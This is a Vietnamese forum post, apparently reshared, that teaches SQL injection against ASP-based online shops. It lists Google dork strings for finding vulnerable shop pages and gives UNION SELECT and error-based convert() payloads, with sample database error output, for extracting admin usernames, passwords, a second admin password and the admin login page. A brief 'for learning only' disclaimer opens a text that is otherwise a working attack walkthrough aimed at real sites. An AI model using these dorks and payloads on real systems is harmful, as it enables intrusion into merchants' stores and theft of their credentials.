You are on page 1of 8

Cách hack shop cơ bản và nâng cao *!

*
Bài này tui vừa tìm nên lên post cho ae lun Nếu ae thấy thì thank nha!! Để lần sau em pót tiếp .He
He

(Dành cho người đã có nắm kiến thức căn bản. Hack chỉ nhằm mục đích học hỏi và trau dồi kĩ năng
bảo mật.

Tác giả sẽ không chịu bất cứ trách nhiện nào nếu một ai đó sử dụng bài viết này với mục đích xấu)

(Tài liệu biên soạn dựa trên kinh nghiệm của tác giả và sưu tầm từ các nguồn tài nguyên trên iNet,
nếu đụng hàng của ai thì xin bỏ quá ^\^)

YM: jupiter_explorer | Nick: kakaka

I.Cách hack căn bản thứ nhất dựa vào lỗi SQL id=?' cat=?'

Công cụ tìm kiếm site lỗi: Google


Từ khóa tìm kiếm:
allinurl:"shopdisplayproducts.asp?id=

allinurl:"shopdisplayproducts.asp?id=1

allinurl:"shopdisplayproducts.asp?id=2

allinurl:".com/shopdisplayproducts.asp?id=

allinurl:".net/shopdisplayproducts.asp?id=

.asp?=catalogid=

.asp?cid=

alliurl: shop$.asp?$=

shopexd.asp?

shopreviewlist.asp?id=1

3. Thông thường ta thực hiện 3 giai đoạn sau:

Tìm UserName và PassAdmin


Tìm Link Admin
Tìm Pass 2 nếu có

Tìm Shop lỗi

Shop ví dụ: http://www.victim.com/shoping/shopdi...ducts.asp?id=5

Thêm dấu (') vào sau: http://www.victim.com/shoping/shopdisplayproducts.asp?id=5'

Báo lỗi :
Products

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'ccategory = 1'
Order

By specialOffer DESC, cname'

./shopping/shop$db.asp, line 657

Nếu không thấy lỗi, thay id bằng cat:


http://www.victim.com/shoping/shopdisplayproducts.asp?cat=5'

Có lỗi rùi :

Microsoft JET database Engine error '80040e014'

Syntax error in query expression 'ccintcatalogid=p.catalogid and cc.intcategory=c.categoryid and


c.catdescription like'5%'

and hide=0 order by specialoffer DESC, cname'

./shopping/shop$db.asp, line 564

Chú ý khi về 2 trường hợp trên : (Quan trọng)

Nếu lỗi là id trong các truy vấn bên dưới không có dấu (') theo sau số id
Nếu lỗi là cat thì cần có thêm dấu (') theo sau trong các truy vấn bên dưới

Đối với lỗi do id: không có dấu (') trong các truy vấn

//////////Tìm username và pass Admin://////////

Thêm đoạn code này vào sau:

%20union select 1 from tbluser'

Ta được :

http://www.victim.com/shoping/shopdi...p?id=5%20union select 1 from tbluser'

Thông thường ta thêm: (có lẽ các bạn đã hiểu là vì sao nên không nói dài dòng nữa)

%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20


,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7 from tbluser'

%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20


,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7,38,39,40,41,42,43,44,45,46,47 from
tbluser'

Thêm cho đến khi nào xuất một trang bình thường và không còn báo lỗi nữa. Trên trang xuất hiện
mấy con số lạ. Thông thường là số 3, 4, 22, 18

Ta thay con số 3 bằng đoạn mã sau để lấy user và pass admin:

fldusername%2b'/'%2bfldpassword

Ta có được:
%20union select 1,2,fldusername%2b'/'%2bfldpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1
7,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33, 34,35,36,37 from tbluser'

%20union select 1,2,fldusername%2b'/'%2bfldpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1


7,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33, 34,35,36,37,38,39,40,41,42,43,44,45,46,47
from tbluser'

Số 3 bây giờ sẽ là: usernameadmin/passadmin

Ví dụ như : kakaka/maiyeuem

//////////Tìm link admin ://////////

Link mặc định là shopadmin.asp, shopadmin1.asp. Nếu không được thì đành tự kiếm !

Nó nằm tại bảng configuration. Vẫn giữ nguyên số cột mà bạn đã khai thác được, thay column đầu
bằng:

fieldname='xadminpage'

Thay column lỗi muốn hiển thị bằng:

fieldvalue (ở đây là số 3)

Ta được như sau (một trong hai):

%20union select fieldname='xadminpage',2,fieldvalue,4,5,6,7,8,9,10


,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28,29,30,31,32,33,34,35,36,37 from
configuration'

%20union select fieldname='xadminpage',2,fieldvalue,4,5,6,7,8,9,10


,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2
7,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43, 44,45,46,47 from configuration'

Chú ý: Có thể thay giá trị fieldvalue vào số 3, 4, hay 22 gì tùy bạn. Không bắc buộc là số 3 ! Theo ví
dụ này mình cho vô số 3 ^^

1 là bạn gặp 1 trang trên có mấy con số như : Page 1 of 10

Hãy cố gắng tìm trong 10 trang đó sẽ có 1 trang chứa link admin. Bạn tìm được các trang có đuôi
dạng *.asp

2 là bạn gặp thông báo lỗi:

The Microsoft Jet database engine cannot find the input table or query 'configuration'. Make sure it
exists and that its name is spelled correctly.

Hic...victim đã xóa mất bảng config và hết lấy link admin ! ^\^

//////////Tìm Pass 2://////////

Nếu bạn có link admin, nhưng shop này nó đòi cái pass 2 nữa ! Quỹ quái thật ^\^

Không có gì khó, nhưng bạn phải xem trang đó có bị lỗi tại page: shopexd.asp hay không, nếu
không kiếm pass 2 ngay !

Dùng đoạn code này:

shopexd.asp?id=1%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20


,21,22,23,24,25,26,fieldvalue,28,29,30,31,32,33,34 ,35,36,37 from configuration where field
name='xadminpage'
Hoặc:

shopexd.asp?id=1%20union select fieldname='xadminpage',2,3,4,5,6,7,8,9,10,11,12,13


,14,15,16,17,18,19,20,21,22,23,24,25,26,fieldvalue ,28,29,30,31,32,33,34,35,36,37 from
configuration'

Giả sử tại page này column 20 bị lỗi

Dùng code như khi kiếm link admin tại chỗ này:

%20union select fieldname='xadminpage',2,3,4,5,6,7,8,9,10,11,12,13


,14,15,16,17,18,19,fieldvalue,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37 from
configuration'

Rồi, nếu ok nó sẽ sổ ra mã nguồn asp của trang admin, và bạn sẽ nhìn thấy pass 2 tại dòng lênh:
Const SecondPassword="pass 2"

Tiếp, nếu bạn muốn tìm link admin tại page này thì phải dùng code sau:

%20union select fieldname='xadminpage',2,3,4,5,6,7,8,9,10,11,12,13


,14,15,16,17,18,19,left(fieldvalue,9),21,22,23,24, 25,26,27,28,29,30,31,32,33,34,35,36,37 from
configuration'

Nếu nó vẫn ra mã nguồn, thì nghĩa là số kí tự của link admin nhỏ hơn 9 hoặc bằng 9, bạn thay 9
bằng số 7.

-> giả sử nó sẽ hiện ra thế này: shoa.as Nhìn thế này thì đủ biết link admin là gì rồi.

Còn nếu dùng code trên mà nó chưa hiện ra dấu . thì bạn chưa thể khẳng định được, thì hãy tăng
lên, thay 9 bằng 11 hoặc 12 v..v.... Cứ thế

Đối với lỗi do cat: có dấu (') trong các truy vấn

//////////Tìm username và pass Admin://////////

Thêm đoạn code này vào sau:

%20union select 1 from tbluser"having 1=1--sp_password

Ta được:

http://www.victim.com/shoping/shopdisplayproducts.asp?id=5'%20union select 1 from


tbluser"having 1=1--sp_password

Chú ý nó khác với id chỗ này: "having 1=1--sp_password và dấu (') phải có ở trước 20%union !

Thông thường ta thêm:

%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20


,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7 from tbluser"having 1=1--sp_password

%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20


,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7,38,39,40,41,42,43,44,45,46,47 from
tbluser"having 1=1--sp_password

Phần còn lại giống với phần hướng dẫn với id ở trên. Khác ở chỗ là có "having 1=1--sp_password ở
sau và dấu (') phải có ở trước 20%union !

%20union select 1,2,fldusername%2b'/'%2bfldpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1


7,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33, 34,35,36,37 from tbluser"having 1=1--
sp_password

%20union select 1,2,fldusername%2b'/'%2bfldpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1


7,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33, 34,35,36,37,38,39,40,41,42,43,44,45,46,47
from tbluser"having 1=1--sp_password

//////////Tìm link admin ://////////

Giống với phần hướng dẫn với id ở trên. Khác ở chỗ là có "having 1=1--sp_password ở sau và dấu
(') phải có ở trước 20%union !

%20union select fieldname='xadminpage',2,fieldvalue,4,5,6,7,8,9,10


,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28,29,30,31,32,33,34,35,36,37 from
configuration"having 1=1--sp_password

%20union select fieldname='xadminpage',2,fieldvalue,4,5,6,7,8,9,10


,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2
7,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43, 44,45,46,47 from configuration"having 1=1--
sp_password

//////////Tìm Pass 2://////////

Giống với phần hướng dẫn với id ở trên. Khác ở chỗ là có "having 1=1--sp_password ở sau và dấu
(') phải có ở trước 20%union !

%20union select fieldname='xadminpage',2,3,4,5,6,7,8,9,10,11,12,13


,14,15,16,17,18,19,fieldvalue,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37 from
configuration"having 1=1--sp_password

%20union select fieldname='xadminpage',2,3,4,5,6,7,8,9,10,11,12,13


,14,15,16,17,18,19,left(fieldvalue,9),21,22,23,24, 25,26,27,28,29,30,31,32,33,34,35,36,37 from
configuration"having 1=1--sp_password

Nếu làm như cách này không được thì hãy thay các khoàng trắng bằng %20 và thêm %27 vào sau
tbluser hoặc configuration để thử lại ! (Bình thương thì trình duyệt tự nhận %20 là một khoảng
trắng và ngược lại) !

II.Cách hack căn bản thứ hai dựa vào lỗi SQL id=?' cat=?': ( Exploit các columns trong các tables
của database)

Công cụ tìm kiếm site lỗi: Google


Từ khóa tìm kiếm:
allinurl:"shopdisplayproducts.asp?id=

allinurl:"shopdisplayproducts.asp?id=1

allinurl:"shopdisplayproducts.asp?id=2

allinurl:".com/shopdisplayproducts.asp?id=

allinurl:".net/shopdisplayproducts.asp?id=

.asp?=catalogid=

.asp?cid=

alliurl: shop$.asp?$=

shopexd.asp?
shopreviewlist.asp?id=1

Bước 1 tương tự như trên:

Ví dụ site này:http://www.victimtim.com/shopping/shopdisplayproducts.asp?id=153'

Cũng thêm vào dấu phẩy ( ' ) để check lỗi

Products

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character
string ''

./shopping/shopdisplayproducts.asp, line 93

Oh có lỗi rồi, giờ sao đây

Cái này anh em biết khai thác chứ:

Lấy table đầu tiên của CSDL:

%20and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password

http://www.victimtim.com/shopping/sh...)--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'ver_Faq' to a column of data typeint

./shopping/shopdisplayproducts.asp, line 93

Bước 2 chắc các bạn biết, chỉ là lấy table thui.

Sau đây là code lấy các table khác ngoài table đầu tiên, mình chỉ việc kiếm table nào chứa users của
admin là okie.

%20and 1=convert(int,(select top 1 table_name from information_schema.tables where


table_name not in ('ver_Faq')))--sp_password

%20and 1=convert(int,(select top 1 table_name from information_schema.tables where


table_name not in ('ver_Faq','coupons','customerprices','customers') ))--sp_password

http://www.victimtim.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(i
nt,(select%20top%201%20table_name%20from%20informa
tion_schema.tables%20where%20table_name%20not%20in
%20('ver_Faq','coupons','customerprices','customer s')))--sp_password

Products

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'AdminUsers' to a column of datatype int

./shopping/shopdisplayproducts.asp, line 93
Tới đây là đã quá rõ, cái mình tìm chính là table này : 'AdminUsers' vì sao vậy vì nó chứa user và
pass chắc.

Thui cứ khai thác thử.

Ta lấy column của table 'AdminUsers'

Dùng code sau:

%20and 1=convert(int,(select top 1 column_name from information_schema.columns where


table_name=('AdminUsers')))--sp_password

Khi thêm code xong sẽ như thế này:

http://www.victimtim.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(i
nt,(select%20top%201%20column_name%20from%20inform
ation_schema.columns%20where%20table_name=('AdminU sers')))--sp_password

Products

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'AdminID' to a column of data typeint

./shopping/shopdisplayproducts.asp, line 93

Và bước tiếp theo:

Tìm các columns khác trong table 'AdminUsers' nhưng khác 'AdminID'

Code :

%20and 1=convert(int,(select top 1 column_name from information_schema.columns where


table_name=('AdminUsers') and column_name not in ('AdminID')))--sp_password

Khi thêm code xong sẽ như thế này:

http://www.victimtim.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(i
nt,(select%20top%201%20column_name%20from%20inform
ation_schema.columns%20where%20table_name=('AdminU
sers')%20and%20column_name%20not%20in%20('AdminID' )))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login'
to a column of data type int

./shopping/shopdisplayproducts.asp, line 93

Và các bạn cứ tiếp tục thêm table vào:

http://www.victimtim.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(i
nt,(select%20top%201%20column_name%20from%20inform
ation_schema.columns%20where%20table_name=('AdminU
sers')%20and%20column_name%20not%20in%20('AdminID' ,'login')))--sp_password

http://www.victimtim.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(i
nt,(select%20top%201%20column_name%20from%20inform
ation_schema.columns%20where%20table_name=('AdminU
sers')%20and%20column_name%20not%20in%20('AdminID' ,'login','pwd')))--sp_password
Okie 2 thông tin quan trọng là 'login','pwd' đă xuất hiện giờ chỉ việc kiếm pass.

Code dùng để exploit 2 columns 'login'và 'pwd' để lấy user và pass trong table 'AdminUsers'

%20and 1=convert(int,(select top 1 login%2b'/'%2bpwd from AdminUsers))--sp_password

Khi thêm code xong sẽ như thế này:

http://www.victimtim.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(i
nt,(select%20top%201%20login%2b'/'%2bpwd%20from%20AdminUsers))--sp_password

Products

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value
'admin/admin' to a column of datatype int

./shopping/shopdisplayproducts.asp, line 93

Hà hà..

user: admin

pass: admin

Bác admin của shop này không biết có bị gì không nữa

Sử dụng cách này các bạn có thể lấy được tấc cả các table trong batabase của shop. Từ đây lại hình
thành một cách mới để tìm link admin.

Mặc dù nói thì dễ vậy nhưng làm thì cần một thứ nữa, đó chính là lỗi file shopexd.asp ^^ . Nếu bạn
vào trang này bị lỗi thì có hy vọng lấy được link admin.

Dùng đoạn lệnh gộp sau đây:

http://www.victimtim.com/shoping/shopexd.asp?id=-1 union select


table1,fieldvalue,table2,table3,table4,table5,tabl e6,table7,table8,table9,table10,table11,table12,ta
ble13,configuration where fieldname='xadminpage' and catalogid=153

Sở dĩ ta phải cho id=-1 để ngắt lệnh SQL thứ nhất khi hợp nhất thì nó sẽ thực hiện lệnh SQL thứ
hai.

Thực hiện lệnh này xong ta sẽ có link admin ngay ^\^

Site VPASP sử dụng cơ sở dữ liệu SQL - Server thì quá dễ để khai thác như sau

http://www.victimtim.com/shoping/sho...es.asp?id=1and 1=convert(int,(select top 1


fldusername%2b'/'%2bfldpassword from tbluser))--sp_password

http://www.victimtim.com/shoping/sho...es.asp?id=1and 1=convert(int,(select top 1 fieldvalue from


configuration where fieldname='xadminpage'))--sp_password

Đối với cat=?' các bạn làm tương tự ( vận dụng sáng tạo từ bài viết trên ^\^)

You might also like